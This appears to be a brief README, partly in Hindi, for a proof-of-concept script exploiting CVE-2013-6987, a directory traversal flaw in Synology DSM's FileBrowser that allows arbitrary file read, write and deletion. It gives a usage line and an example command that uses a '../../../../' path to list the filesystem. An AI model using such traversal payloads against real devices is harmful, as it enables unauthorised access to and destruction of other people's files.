CVE-2013-6987

Synology DiskStation Manager (DSM) 4.3-3810 अपडेट 3 से पहले के संस्करणों में FileBrowser घटकों में कई डायरेक्टरी ट्रैवर्सल भेद्यताएं हैं, जो दूरस्थ हमलावरों को .. (डॉट डॉट) के माध्यम से मनमानी फ़ाइलों को पढ़ने, लिखने और हटाने की अनुमति देती हैं।

उपयोग:

python <file.py> <SynoToken> <path>

example:
	#list filesystem
	python file_list.py ABCDFEGH1234 /home/../../../../